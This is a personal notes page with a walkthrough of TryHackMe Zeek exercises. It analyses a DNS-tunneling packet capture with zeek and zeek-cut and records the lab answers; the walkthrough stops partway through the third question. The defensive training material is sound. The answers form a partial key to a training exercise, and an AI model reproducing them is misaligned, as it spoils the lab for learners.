CND
  • CND
    • WHOAMI
    • PROJECTS
      • DEV
        • PERSONAL WEBSITE
        • GITHUB
          • CONVERTERS
          • CALCULATORS
        • ARDUINO
        • CTFD
        • AUTOMATION
          • ANSIBLE
          • TERRAFORM
      • CYBER
        • PERSONAL CYBER RANGE
    • SELF DEVELOPMENT
      • TRAINING PLATFORMS
      • PREP MATERIALS
        • OPERATOR DEVELOPMENT & INTEGRATION EFFORT (ODIE) ASSESSMENT
        • COMPUTER NETWORK ASSESSMENT BATTERY (CNAB)
        • COMPUTER NETWORK OPERATIONS QUALIFICATION COURSE (CNOQC)
        • COMPUTER NETWORK OPERATIONS DEVELOPMENT PROGRAM (CNODP)
        • DATA ENGINEER
        • CYBER COMMON TECHNICAL CORE (CCTC)
      • WRITEUPS/WALKTHROUGHS
        • HTB ACADEMY
          • 01.BUG BOUNTY HUNTER
          • 02.PENETRATION TESTER
        • HTB LABS
          • STARTING POINT
            • TIER 0
              • 01.MEOW (TELNET)
              • 02.FAWN (FTP)
              • 03.DANCING (SMB)
              • 04.REDEEMER (REDIS DB - ANONYMOUS ACCESS)
              • 05.EXPLOSION (RDP - WEAK CREDS)
              • 06.PREIGNITION (WEB FORM LOGIN)
              • 07.MONGOD (MONGODB)
              • 08.SYNCED (RSYNC)
            • TIER 1
              • 01.APPOINTMENT (SQL INJECTION)
              • 02.SEQUEL (MYSQL)
              • 03.CROCODILE (FTP & WEB FORM LOGIN)
              • 04.RESPONDER (RFI, NTLM CAPTURE, PW CRACKING & WINRM)
              • 05.THREE (AWS S3 BUCKET)
              • 06.IGNITION (DIRECTORY ENUMERATION & BRUTE FORCE)
              • 07.BIKE (SSTI)
              • 08.FUNNEL (PASSWORD SPRAYING & LOCAL PORT FORWARDING)
              • 09.PENNYWORTH (GROOVY SCRIPTING & REVERSE SHELL)
              • 10.TACTICS (SMB)
            • TIER 2
              • 01.ARCHETYPE (PRIVESC & MSSQL SERVER)
              • 02.OOPSIE
              • 03.VACCINE
              • 04.UNIFIED
              • 04.INCLUDED
              • 05.MARKUP
              • 06.BASE
          • INTRO TO BLUE TEAM
            • BRUTUS (SSH)
            • BFT (MFT)
            • UNIT42 (SYSMON/EVENT LOGS)
            • I-LIKE-TO
        • THM
          • ADVENT OF CYBER
            • 2024
            • 2023
            • 2022
          • SOC LEVEL 1
            • PRACTICAL EXERCISES
              • NETWORK SECURITY & TRAFFIC ANALYSIS
                • SNORT
                • NETWORK MINER
                • ZEEK
                • BRIM
                • WIRESHARK: BASICS
                • WIRESHARK: PACKET OPERATIONS
                • WIRESHARK: TRAFFIC ANALYSIS
                • TSHARK: THE BASICS
                • TSHARK: CLI WIRESHARK FEATURES
              • ENDPOINT SECURITY MONITORING
                • INTRO TO ENDPOINT SECURITY
            • SKILLS ASSESSMENT
              • NETWORK SECURITY & TRAFFIC ANALYSIS
                • SNORT CHALLENGE (BASICS)
                • SNORT CHALLENGE (LIVE ATTACKS)
                • ZEEK EXERCISES
                • TSHARK CHALLENGE I: TEAMWORK
                • TSHARK CHALLENGE II: DIRECTORY
              • ENDPOINT SECURITY MONITORING
        • HOLIDAY HACK CHALLENGE (SANS)
          • 2024:SNOW-MAGGEDON
      • PROVING GROUNDS
        • ADVENT OF CYBER: SIDE QUEST (THM)
          • 2024
        • CMU
        • CYBER FLAG
        • PRESIDENT'S CUP
        • MEC-T
      • COLLEGE
        • 03.DAKOTA STATE UNIVERSITY (DSU)
          • 2025
            • 01.CSC428: REVERSE ENGINEERING
          • 2024
            • 01.CSC314: ASSEMBLY LANGUAGE
            • 02.CSC300: DATA STRUCTURES
              • 01.C++ OVERVIEW: CLASSES & DATA ABSTRACTION
              • 02.OBJECT ORIENTED DESIGN & C++
              • 03.POINTERS
              • 04.ARRAY-BASED LIST
              • 05.LINKED LISTS
              • 06.DOUBLY LINKED LIST
              • 07.STACKS
              • 08.QUEUES
              • 09.BINARY TREES
          • 2023
            • 01.CSC250: COMPUTER SCIENCE II
            • 02.CSC334: WEB DEVELOPMENT
            • 03.MATH201: INTRODUCTION TO DISCRETE MATHEMATICS
        • 02.UNIVERSITY OF ARIZONA (UA)
        • 01.TECHNICAL COLLEGE OF THE LOWCOUNTRY
          • 2010
          • 2009
      • NOTES
  • PLAYBOOK
    • DCO
      • 01.PRE-ENGAGEMENT
        • PLAN
          • PDSS
            • 02.ROE
          • MISSION ANALYSIS
        • PREPARE
          • MPN
          • HSMC
            • 01.CTI
            • 02.DETECTION ENGINEERING
      • 02.ENGAGEMENT
        • EXECUTE
          • 01.PRE-HUNT
            • TAP/SENSOR DEPLOYMENT
          • 02.THREAT HUNTING
            • 01.TRAFFIC ANALYSIS
              • LOW-HANGING FRUIT
                • HOST IDENTIFICATION
                  • WIRESHARK
                  • TSHARK
                • CLEARTEXT CREDENTIALS
                  • WIRESHARK
                • CLEARTEXT PROTOCOLS
                  • WIRESHARK
                    • FTP ANALYSIS
                    • HTTP ANALYSIS
                    • LOG4J ANALYSIS
                • DNS QUERIES
                  • TSHARK
                • USER-AGENTS
                  • TSHARK
              • PORT SCANS
                • WIRESHARK
                • KIBANA
                • SPLUNK
              • ARP POISONING
                • WIRESHARK
              • TUNNELING (DNS/ICP)
                • WIRESHARK
                  • ICMP TUNNELING
                  • DNS TUNNELING
              • ENCRYPTED PROTOCOLS
                • WIRESHARK
                  • HTTPS ANALYSIS
                    • SNI INSPECTION
                    • ENCRYPTION KEY LOG FILE
            • 02.LOG ANALYSIS
          • INCIDENT RESPONSE
            • 01.PREPARATION
            • 02.IDENTIFICATION
            • 03.CONTAINMENT
            • 04.ERADICATION
            • 05.RECOVERY
            • 06.LESSONS LEARNED
          • FORENSICS
            • 01.ACQUISITION
            • MALWARE ANALYSIS
            • REVERSE ENGINEERING
        • ASSESS
      • 03.POST-ENGAGEMENT
        • DEBRIEF
        • DOCUMENTATION
          • MISSION DEFENSE PLAN/RISK MITIGATION PLAN
            • VULNERABILITY GUIDE
    • OCO
      • 01.PRE-ENGAGEMENT
        • 01.PDSS
        • 02.ROE
        • 03.RESOURCE DEVELOPMENT
          • 01.INFRASTRUCTURE DEVELOPMENT
          • 02.MALWARE DEVELOPMENT
          • 03.EXPLOIT DEVELOPMENT
      • 02.ENGAGEMENT
        • 01.IN
          • 01.PRE-ACCESS
            • 01.VPN CONNECTION
            • 02.ANALYST LOGGING
            • 03.OPNOTES
          • 02.INITIAL ACCESS/FOOTHOLD
            • INFORMATION GATHERING
              • RECONNAISSANCE
              • VULNERABILITY ASSESSMENT
                • WEB SERVERS
                  • SOURCE CODE REVIEW
                  • VULNERABILITY IDENTIFICATION
                    • SEARCHSPLOIT
                    • EXPLOIT DB
                  • VULNERABILITY SCANNING
                    • NIKTO
                    • NMAP
            • WEAPONIZATION
              • OBFUSCATION
                • JAVASCRIPT
              • SHELLCODES
              • PASSWORDS/PINS
                • PINS
                • DICTIONARY
                • CUSTOM WORDLIST
                  • USERNAMES
                  • PASSWORDS
              • TROJANS
                • TROJAN BACKDOOR
              • MALICIOUS DOCUMENTS
                • MACRO EMBEDDING DOCX
              • SCRIPTS
                • ENUMERATION
                  • PYTHON
                    • PARAM-FUZZER.PY
                  • BASH
                • WSDL
                  • SQLI
                  • CMD INJECTION
            • DELIVERY
              • SOCIAL ENGINEERING
              • WATERING HOLE
              • SUPPLY CHAIN
              • FILE XFER: INGRESS (UTILITY-BASED)
                • PYTHON HTTP SERVER
                  • WGET/CURL
                • SCP
                • COPY/PASTE
                  • BASE64 ENCODED XFER
            • EXPLOITATION
              • TYPE
                • INJECTIONS
                  • CLIENT-SIDE
                    • CROSS-SITE SCRIPTING (XSS)
                      • XSS DISCOVERY
                        • XSS TESTING (MANUAL)
                        • XSS TESTING (HYBRID)
                      • WEBPAGE DEFACEMENT
                      • XSS PHISHING
                      • XSS SESSION HIJACKING (AKA COOKIE STEALING)
                        • BASIC XSS TESTS
                        • OBTAINING SESSION COOKIES (PHP SERVER)
                        • OBTAINING SESSION COOKIES (NETCAT SERVER)
                    • SQL INJECTION (SQLI)
                      • 01.SQLI DISCOVERY
                        • 01.SQLI TESTING (MANUAL)
                          • URL PARAMETER METHOD
                          • LOGIN FORMS
                        • 01.SQLI TESTING (HYBRID)
                          • SQLMAP
                        • 02.SQLI LOCATION IDENTIFICATION
                      • 02.SQLI DB ENUMERATION
                      • AUTHENTICATION BYPASS
                      • CREDENTIAL DUMPING
                      • SQLI READING FILES
                      • SQLI WRITING WEB SHELL FILES
                    • COMMAND INJECTION
                      • 01.DISCOVERY
                      • FILTER EVASION/BYPASS
                        • FRONT-END VALIDATION: CUSTOMIZED HTTP REQUEST
                        • SPACE & NEW LINE CHARACTERS
                        • SLASH & BACKSLASH
                        • BLACKLISTED CHARACTERS
                        • BLACKLISTED CMDS
                        • ADVANCED CMD OBFUSCATION
                      • EVASION TOOLS
                    • HTML INJECTION
                    • XML EXTERNAL EXTITY (XXE)
                      • DISCOVERY
                        • WINDOWS
                      • INFORMATION DISCLOSURE
                      • INFORMATION TAMPERING
                        • RCE
                      • EXFILTRATION
                        • OOB BLIND DATA EXFIL
                          • XXEINJECTOR (AUTOMATED)
                      • IMPACT
                        • DOS
                    • CROSS-SITE REQUEST FORGERY (CSRF/XSRF)
                      • DISCOVERY
                      • CSRF BYPASS
                      • TRIGGERS
                        • W/O ANTI-CSRF TOKEN
                        • WITH ANTI-CSRF TOKEN (GET METHOD)
                        • WITH ANTI-CSRF TOKEN (POST METHOD)
                        • CHAINING (XSS & CSRF)
                          • MAKING PROFILE PUBLIC
                          • ADDING A FUNCTION TO THE PROFILE PAGE
                        • WEAK CSRF TOKENS
                  • SERVER-SIDE
                    • SSRF
                      • 01.DISCOVERY
                        • BLIND SSRF
                      • ENUMERATION
                      • LFI
                    • SSTI
                      • IDENTIFICATION
                      • JINJA (EXPLOITATION)
                      • TWIG (EXPLOITATION)
                      • HANDLEBARS NODEJS (EXPLOITATION)
                        • PAYLOAD
                    • SSI INJECTION
                      • SSI (EXPLOITATION)
                    • XSLT INJECTION
                      • IDENTIFICATION
                      • XSLT INJECTION (EXPLOITATION)
                • FILE UPLOADS
                  • 01.DISCOVERY
                  • FILTER EVASION/BYPASS
                    • CLIENT-SIDE VALIDATION
                      • BACK-END REQUEST MODIFICATION
                      • DISABLING FRONT-END VALIDATION
                    • BACK-END VALIDATION
                      • BLACKLIST EXTENSION FILTERS
                      • WHITELIST EXTENSION FILTERS
                      • CONTENT TYPE FILTER
                  • UPLOAD EXPLOITATION
                    • WEB SHELL
                      • CUSTOM WEB SHELLS
                        • PHP WEB SHELL
                        • .NET WEB SHELL
                        • HTML FORM SHELL
                    • REVERSE SHELLS
                      • CUSTOM REVERSE SHELLS
                    • LIMITED FILE UPLOADS
                      • EMBEDDED JAVASCRIPT (XSS)
                      • XML EXTERNAL ENTITY (XXE)
                    • TFTP
                  • ARBITRARY FILE UPLOAD
                • BRUTE FORCE
                  • WEB
                    • BASIC HTTP AUTHENTICATION
                    • WEB LOGIN FORMS
                      • HYDRA
                      • FFUF
                    • PASSWORD RESET: TOKENS
                    • 2FA
                    • LOW-HANGING FRUIT
                      • EMPTY/DEFAULT PWS
                      • DEFAULT CREDENTIALS
                    • PASSWORD RESET: SECURITY QUESTIONS
                    • PIN CRACKING
                    • SESSION TOKENS
                      • IDENTIFICATION
                      • TAMPERING/FORGING SESSION TOKENS
                  • EXPOSED SERVICES
                    • SSH
                    • FTP
                    • RDP
                    • SMB
                    • SNMP
                  • PASSWORD CRACKING (OFFLINE)
                    • HASH IDENTIFICATION
                    • JOHN THE RIPPER
                    • HASHCAT
                • AUTHENTICATION BYPASS
                  • DIRECT ACCESS
                  • PARAMETER MODIFICATION
                  • HTTP VERB TAMPERING
                    • INSECURE CONFIGURATION
                    • INSECURE CODING
                  • SESSION ATTACKS
                    • SESSION HIJACKING
                    • SESSION FIXATION
                      • DISCOVERY
                • WI-FI
                  • WPA/WPA2 CRACKING
                • IDOR
                  • IDENTIFICATION
                  • INFORMATION DISCLOSURE
                    • PLAINTEXT REFERENCES
                    • PARAMETER MANIPULATION & COOKIE TAMPERING
                    • ENCODED REFERENCES
                  • INFORMATION ALTERATION
                    • INSECURE FUNCTION CALLS
                • FILE INCLUSION
                  • LFI
                    • DISCOVERY
                      • FUZZING FOR LFI PAYLOADS (AUTOMATED)
                        • EXTRA PAYLOADS
                    • BASIC BYPASSES
                    • SOURCE CODE DISCLOSURE
                    • RCE
                      • FILE UPLOADS
                      • LOG FILE POISONING
                        • PHP SESSION POISONING
                        • SERVER LOG POISONING
                  • RFI
                    • DISCOVERY
                    • RCE
                • OPEN REDIRECT
                  • DISCOVERY
                  • CREDENTIAL THEFT
                • RCE MS SQL
              • CVE
            • DEFENSE EVASION
            • PERSISTENCE
              • SSH DIRECTORY
            • COMMAND & CONTROL
              • SHELLS
                • BIND SHELL
                  • BASH
                  • PYTHON
                  • POWERSHELL
                • REVERSE SHELL
                  • BASH
                  • PHP
                  • POWERSHELL
                  • GROOVY (JENKINS)
                • WEB SHELL
                  • PHP
                  • JSP
                  • ASP
                • SSH
              • INTERACTIVE SHELLS
        • 02.THROUGH
          • DISCOVERY
            • 01.HOST
            • 02.SERVICES
            • 02.VULNERABILITY ASSESSMENT
          • ENUMERATION
            • SYSTEM ENUMERATION
              • WINPEAS
          • PRIVILEGE ESCALATION
            • WINDOWS
              • IDENTIFICATION
                • AUTOMATED SCRIPTS
                  • WINPEAS
                  • SEATBELT
                  • JAWS
              • EXECUTION
                • BATCH FILES
                • PSEXEC.PY
                • EXPOSED CREDENTIALS
                  • WEBROOTS
            • LINUX
              • IDENTIFICATION
                • AUTOMATED SCRIPTS
                  • LINENUM
                  • LINUXPRIVCHECKER
                  • LINPEAS
              • EXECUTION
                • EXPOSED CREDENTIALS
                  • WEBROOTS
                • MISCONFIGURATIONS
                  • SETUID
                  • VI
                  • SSH DIRECTORY
                  • SUDOERS
                • SCHEDULED TASKS
                  • CRON JOBS
          • EXECUTION
          • CREDENTIAL ACCESS
            • SESSION HIJACKING
            • PASSWORD CRACKING
              • JOHN THE RIPPER
                • CRACKING ENCRYPTED FILES (ZIP)
                • CRACKING ENCRYPTED FILES (PDF)
              • HASHCAT
                • CRACKING MD5 HASHES
          • LATERAL MOVEMENT
            • NETWORK PIVOTING
              • PORT FORWARDING
                • LOCAL PORT FORWARDING
              • TUNNELING
        • 03.OUT
          • COLLECTION
          • EXFILTRATION
            • SCP
          • IMPACT
            • DOS
              • XXE PAYLOAD DOS
              • DECOMPRESSION BOMB
              • PIXEL FLOOD
              • REGEX DOS
                • DISCOVERY
            • TIMING ATTACKS
              • RACE CONDITIONS
            • MITM
              • WEBSOCKETS
          • OBJECTIVES
      • 03.POST-ENGAGEMENT
        • 00.BDA
        • 01.ARTIFACT CLEARING
        • 02.INFRASTRUCTURE RESET
        • 03.DEBRIEF
          • INTERNAL
          • EXTERNAL
        • 04.DOCUMENTATION
          • REPORT
        • 05.LESSONS LEARNED
    • DEV
      • C
    • SRE
      • REVERSE ENGINEERING
        • ANALYSIS
          • 01.REBASING: IDENTIFYING BASE ADDRESS (IF REQUIRED)
          • 02.IDENTIFYING MAIN() IN STRIPPED BINARIES
          • 03.IDENTIFYING GLOBAL VARIABLES
          • C CODE CONSTRUCTS IN ASSEMBLY
            • GLOBAL & LOCAL VARIABLES
            • ARITHMETIC OPERATIONS
            • FUNCTION CALLS
            • ARRAYS
            • STRUCTS
            • LINKED-LIST TRAVERSAL
            • FLOW CONTROL
              • IF STATEMENTS
              • SWITCH STATEMENTS
              • LOOPS
        • STRING PATCHING
        • BINARY PATCHING
        • STACK MAPPING
      • ANTI-DEBUGGING
      • SOFTWARE EXPLOITATION
        • STACK REDIRECTION
        • SHELLCODE
        • DISASSEMBLER/GHIDRA SCRIPTING
        • FORMAT STRINGS
        • ENVIRONMENT VARS
        • BUFFER OVERFLOWS
          • DISABLING ASLR (LINUX)
        • VULNERABLE C FUNCTIONS
  • ENGINEERING
    • INSTALLATION PROCEDURES
    • CONFIGURATION PROCEDURES
      • WEB
        • BASIC HTTP AUTHENTICATION
        • CSRF PROTECTED FORM
      • NETWORKING
        • CISCO SWITCH
          • VLAN TRUNKS
          • PORT SECURITY
        • CISCO ROUTER
  • SYSTEM ADMINISTRATION
    • LINUX
      • NETWORKING
        • RESTART NETWORK SERVICES
        • LOCAL DNS RESOLUTION
      • LOCATING
      • FILE SHARING
      • PACKAGES
        • NORDVPN
      • OS
        • KALI
    • WINDOWS
      • DISK PARTITIONING
        • DISKPART
      • ACTIVE DIRECTORY
        • PASSWORD
        • DOMAIN USER
      • OPEN SSH
        • PRIVATE KEY PERMISSIONS
      • LOCAL DNS RESOLUTION
  • TOOLING
    • DCO
      • CYBER THREAT INTELLIGENCE (CTI)
        • OPENCTI
        • MALWARE INFORMATION SHARING PLATFORM (MISP)
      • DETECTION ENGINEERING
        • HOST
          • NETWORK MINER
        • NETWORK
          • SNORT
            • SELF-TEST MODE
            • SNIFFER MODE
            • PACKET LOGGER MODE
            • IDS/IPS MODE
            • PCAP READING MODE
            • RULE WRITING
              • SAMPLE RULES
              • MAGIC NUMBERS
      • THREAT HUNTING
        • NETWORK ANALYSIS
          • IDS/IPS
            • SNORT
            • SURICATA
          • PACKET ANALYZER
            • WIRESHARK
              • MERGING PCAPS
              • FINDING SPECIFIC STRINGS/PACKETS
              • EXPORTING PACKETS
              • EXPORTING OBJECTS
              • CREATING PROFILES
              • BOOKMARKING FILTERS
              • PACKET FILTERING
                • OPERATORS & FUNCTIONS
                • PROTOCOL FILTERS
                  • IP FILTERS
                  • TCP/UDP FILTERS
                  • APPLICATION FILTERS
                • FILTER BUILDER
              • CREATING FW RULES
            • TSHARK
              • SNIFFING TRAFFIC
                • CAPTURE FILTERS
              • READING CAPTURE FILE
                • DISPLAY FILTERS
                • OUTPUT FORMAT SELECTOR
              • FOLLOWING DATA STREAMS
              • EXTRACTING DATA
              • PACKET FILTERING
                • DISPLAYING PACKET STATISTICS
                • ADVANCED FILTERING
            • TCPDUMP
              • EXTRACTING INFORMATION
          • SIEM
            • ELASTIC STACK
            • SECURITY ONION
            • SPLUNK
          • NSM
            • ZEEK
              • MODES
              • LOGS
              • SIGNATURES
                • HTTP CLEARTEXT PASSWORD DETECTION
                • FTP BRUTE FORCE DETECTION
              • SCRIPTING
              • EVENT CORRELATION
              • FRAMEWORK
                • FILE FRAMEWORK | HASHES
                • FILE FRAMEWORK | EXTRACT FILES
                • NOTICE FRAMEWORK | INTELLIGENCE
                • CLEARTEXT SUBMISSION OF PWDS
                • GEO-LOCATION DATA
              • PACKAGES
        • HOST ANALYSIS
          • YARA
          • FLOSS
          • BRIM
            • QUERIES
            • QUERY REFERENCE
          • SYSINTERNALS
            • TCPVIEW
            • PROCESS EXPLORER
            • SYSMON
              • EXAMPLE CONFIGURATION FILE
              • IMPORTANT EVENT-IDS
          • POWERSHELL
          • WINDOWS EVENT LOGS
            • EXPORTING LOGS
          • OSQUERY
          • EDR
            • WAZUH
      • DFIR
        • EXIFTOOL
        • NETWORK FORENSICS
          • NETWORK MINER
        • FILE SYSTEM
          • MFTECMD
          • TIMELINE EXPLORER
      • ATOMIC RED TEAM
      • UTILITIES
        • JQ
        • .NET SDK
      • REVERSE ENGINEERING
        • DISASSEMBLERS
          • RADARE2
          • GHIDRA
          • IDA PRO
          • BINARY NINJA
          • CUTTER
          • HOPPER
        • DEBUGGERS
          • GDB/GEF
          • GEF
          • X64DBG
          • WINDBG
    • OCO
      • C2
        • COBALT STRIKE
        • SLIVER
        • MYTHIC C2
          • INSTALLATION
            • ON-PREMISE
            • AWS EC2
            • AZURE
          • C2 PROFILES
            • HTTP
          • AGENTS
            • WINDOWS
          • PAYLOAD CREATION
            • AWS CLOUDFRONT IMPLEMENTATION
            • AZURE FRONT DOOR IMPLEMENTATION
            • NGINX CONDITIONAL REDIRECTION IMPLEMENTATION
        • MITRE CALDERA
          • ON-PREMISE
        • HAVOC C2
        • METASPLOIT
      • VPS
        • REDIRECTORS
          • AWS CLOUDFRONT
            • LOAD BALANCER (AWS EC2)
            • CLOUDFRONT
              • GEO RESTRICTION (OPSEC)
          • AZURE FRONT DOOR
            • FRONT DOOR
          • NGINX (AWS EC2/AZURE)
            • C2 AGENT/USER-AGENT CONDITIONAL REDIRECTION (OPSEC)
              • NGINX FW RULE
              • C2 SERVER FW RULE
            • DIRECTORY REDIRECTION (OPSEC)
          • NGINX (ON-PREMISE)
        • PAYLOAD SERVER
          • NGINX (AWS EC2/AZURE)
            • FW RULES
            • CONFIGURATION
              • FACADE FILES
          • PWNDROP
        • PHISHING SERVER
          • EVILGINX (AWS EC2/AZURE)
            • FW RULES
            • HOMOGRAPHS
            • TRIGGERS
              • CREDENTIAL HARVESTING
              • MFA BYPASS
          • GOPHISH
            • FW RULES
            • CONFIGURATION
            • CAMPAIGNS
            • TRIGGERS
              • MALICIOUS DOWNLOADS
      • WIFI
        • ALFA AWUS1900 WIRELESS ADAPTER
          • DRIVERS
      • OSINT
        • FINAL RECON
        • RECON-NG
        • THE HARVESTER
        • SPIDERFOOT
        • OSINT FRAMEWORK
      • UTILITIES
        • 7ZIP
        • BROWSER DEVTOOLS
        • CADAVER
        • CURL
        • CUSTOM WORDLIST
          • USERNAME ANARCHY
          • CUPP
        • DATABASE
          • MYSQL
          • PSQL
        • DIG
        • DNSENUM
        • FIND
        • FTP
        • HTML2TEXT
        • IMPACKET
          • PSEXEC.PY
          • MSSQLCLIENT.PY
        • MULTI-FUNCTION
        • NETCAT
        • NETSTAT
        • NMAP
        • OPENVPN
        • PASSWORD
          • BRUTE FORCE (ONLINE)
            • HYDRA
            • MEDUSA
            • FFUF
            • CRACKMAPEXEC (SMB, ETC)
          • CRACKING (OFFLINE)
            • HASH-ID.PY
            • HASHID
            • JOHN THE RIPPER
            • HASHCAT
        • PRIVESC
          • WINPEAS
        • PROXIES
          • WRAPPER
            • PROXYCHAINS
          • WEB PROXIES
            • BURP SUITE
              • SETTINGS
              • WEB CRAWLING
            • ZED ATTACK PROXY (ZAP)
          • BROWSER PROXIES
            • FIREFOX
            • EXTENSIONS
              • FOXY PROXY
              • PROXY SWITCHYOMEGA (BRAVE BROWSER)
        • REMOTE ACCESS
          • FREERDP
        • RESPONDER
        • RSYNC
        • SCRIPT
        • SEARCHSPLOIT
        • SMBCLIENT
        • SOCAT
        • SQLMAP
          • GET REQUESTS
          • POST REQUESTS
          • BYPASSING WEBAPP PROTECTIONS
            • TAMPER SCRIPTS
          • OS EXPLOITATION
          • SQLI
            • CMD INJECTION
        • SSH
        • SSTIMAP
        • TAC
        • TECHNOLOGY PROFILER
          • WAPPALYZER
        • TEE
        • TMUX
        • TREE
        • VI/VIM
        • WEB CONTENT DISCOVERY
          • GOBUSTER
          • DIRB
        • WGET
        • WPSCAN
        • SNMPWALK
        • ONESIXTYONE
      • RANGE
        • TARGETS
          • DVWA
          • VULNHUB
          • DVLLMA
          • OWASP JUICE SHOP
          • METASPLOITABLE 2
          • METASPLOITABLE 3
    • DEV
      • FUNDAMENTALS
        • NUMBER SYSTEM
          • CONVERSIONS
          • COMPLEMENTS
      • LANGUAGES
        • ASSEMBLY
          • TEMPLATE
        • C
          • TEMPLATE
          • SYNTAX
            • FUNDAMENTALS
              • BOOLEANS
              • TYPEDEF
              • ENUM
              • SIZEOF
              • ARRAYS
              • ADDRESS-OF
              • DEREFERENCE
              • CHARACTER STRINGS
          • OPERATORS
          • KEYWORDS
          • FORMAT SPECIFIERS
          • ENCODING SCHEMES
          • BARR C CODING STANDARD
          • TROUBLESHOOTING
            • SUPPRESSING SECURITY WARNINGS
          • TYPE MODIFIERS
          • FUNCTION PROTOTYPES
            • BUILT-IN
              • STRING.H
                • STRLEN()
                • STRCPY()
                • STRNCPY()
                • STRCAT()
              • STDLIB.H
                • FREE()
                • MALLOC()
              • STDBOOL.H
              • STDIO.H
                • PRINTF()
                • SNPRINTF()
        • PYTHON
          • TEMPLATE
        • HTML
          • URL ENCODING
        • C++
      • COMPILERS
        • COMPILER EXPLORER (ONLINE)
        • GCC (LINUX)
        • VISUAL STUDIO CLI (WINDOWS)
      • UTILITIES
        • HEXDUMP
        • CODE BEAUTIFY
        • GIT (CLI)
        • STYLE FORMATTING
          • CLANG-FORMAT
          • CLANG-FORMAT-BARR-C
        • IDE
          • ARDUINO
  • RESOURCES
    • ARMY
      • 350-1
      • CAC PKI CERTIFICATES RECOVERY
      • FORCE MANAGEMENT
      • DEFENSE ACQUISITION TRAININGS
      • CAREER MANAGEMENT
      • COLLECTION
        • MISC
        • COMMANDS
        • TRAINING
      • MILITARY RETIREMENT
        • CHECKLIST
        • RESUME
    • CYBER
      • DCO
        • CYBER THREAT EMULATION
        • SYSTEM HARDENING
        • MALWARE ANALYSIS
          • MALWARE BAZAAR
          • MALWARE TRAFFIC ANALYSIS.NET
          • THE ZOO (AKA MALWARE DB)
        • THREAT HUNTING
          • MITRE ATT&CK
          • MITRE ATTACK FLOW BUILDER
          • MITRE CAR
          • MITRE D3FEND
          • MITRE ENGAGE
          • MITRE ENGENUITY
          • ULTIMATE WINDOWS SECURITY
          • TECHNIQUE INTERFACE ENGINE
      • OCO
        • NETWORK PIVOTING
          • THE CYBER PLUMBER'S LAB GUIDE
        • BUG BOUNTY PROGRAMS
        • LIVING OFF THE LAND
          • LOLBAS (WINDOWS)
          • GTFOBINS (UNIX)
          • LOLDRIVERS (WINDOWS)
          • LOLAPPS
        • RECONNAISSANCE
          • WAYBACK MACHINE
          • SHODAN
          • CENSYS
        • VULNERABILITY/EXPLOIT LISTINGS
          • EXPLOIT DB
          • VULNERABILITY LAB
      • OT
        • ICS/SCADA
      • GENERAL
        • GENERATIVE AI/COPILOT
          • CAMOGPT
          • CHATGPT
          • PENTESTGPT
        • UNIFIED KILLCHAIN (UKC)
        • BLOGS
    • AUDIO
Powered by GitBook
On this page
  • ANOMALOUS DNS
  • PHISHING
  • LOG4J
  1. CND
  2. SELF DEVELOPMENT
  3. WRITEUPS/WALKTHROUGHS
  4. THM
  5. SOC LEVEL 1
  6. SKILLS ASSESSMENT
  7. NETWORK SECURITY & TRAFFIC ANALYSIS

ZEEK EXERCISES

ANOMALOUS DNS

Investigate the dns-tunneling.pcap file. Investigate the dns.log file. What is the number of DNS records linked to the IPv6 address?
root@thm:~$ cd Desktop/Exercise-Files/anomalous-dns
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap
 
root@thm:~$ zeek -C -r dns-tunneling.pcap 
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap  http.log  packet_filter.log
 conn.log       dns.log             ntp.log

root@thm:~$ head dns.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	trans_idrtt	query	qclass	qclass_name	qtype	qtype_name	rcode	rcode_name	AA	TC	RD	RA	Z	answers	TTLs	rejected
 #types	time	string	addr	port	addr	port	enum	count	interval	string	count	string	count	string	count	string	bool	bool	bool	bool	count	vector[string]	vector[interval]	bool
 1623212924.825154	CcJ7pk2dFfkLv8WXfe	10.20.57.3	59580	10.10.2.22	53	udp	5374	0.855652	e7f1018ea0310f25bba0610936fd1cc2af.cisco-update.com	1	C_INTERNET	15	MX	0	NOERROR	F	F	T	T	0	3591018ea0f08b48069ca0ffff640c1cfb.cisco-update.com	58.000000	F

root@thm:~$ cat dns.log | zeek-cut qtype_name
 TXT
 CNAME
 MX
 AAAA
 ...

root@thm:~$ cat dns.log | zeek-cut qtype_name | grep AAAA | wc -l
 320
Investigate the dns-tunneling.pcap file. Investigate the conn.log file. What is the longest connection duration?
root@thm:~$ cd Desktop/Exercise-Files/anomalous-dns
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap
 
root@thm:~$ zeek -C -r dns-tunneling.pcap 
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap  http.log  packet_filter.log
 conn.log       dns.log             ntp.log

root@thm:~$ head conn.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	service	duration	orig_bytes	resp_bytes	conn_state	local_orig	local_resp	missed_bytes	history	orig_pkts	orig_ip_bytes	resp_pkts	resp_ip_bytes	tunnel_parents
 #types	time	string	addr	port	addr	port	enum	string	interval	count	count	string	bool	bool	count	string	count	count	count	count	set[string]
 1623212924.825154	CcJ7pk2dFfkLv8WXfe	10.20.57.3	59580	10.10.2.22	53	udp	dns	0.855652	80	175	SF	-	-	0	Dd	1	108	1	203-
 1623212925.678141	CglDT21NBa0XUHywyl	10.20.57.3	47888	10.10.2.22	53	udp	dns	0.158643	80	175	SF	-	-	0	Dd	1	108	1	203-

root@thm:~$ cat conn.log | zeek-cut duration
 0.658508
 0.360476
 0.039498
 ...

root@thm:~$ cat conn.log | zeek-cut duration | sort -n
 3.445874
 4.238265
 7.835490
 9.420791
Investigate the dns-tunneling.pcap file. Investigate the dns.log file. Filter all unique DNS queries. What is the number of unique domain queries?
root@thm:~$ cd Desktop/Exercise-Files/anomalous-dns
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap
 
root@thm:~$ zeek -C -r dns-tunneling.pcap 
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap  http.log  packet_filter.log
 conn.log       dns.log             ntp.log

root@thm:~$ head dns.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	trans_idrtt	query	qclass	qclass_name	qtype	qtype_name	rcode	rcode_name	AA	TC	RD	RA	Z	answers	TTLs	rejected
 #types	time	string	addr	port	addr	port	enum	count	interval	string	count	string	count	string	count	string	bool	bool	bool	bool	count	vector[string]	vector[interval]	bool
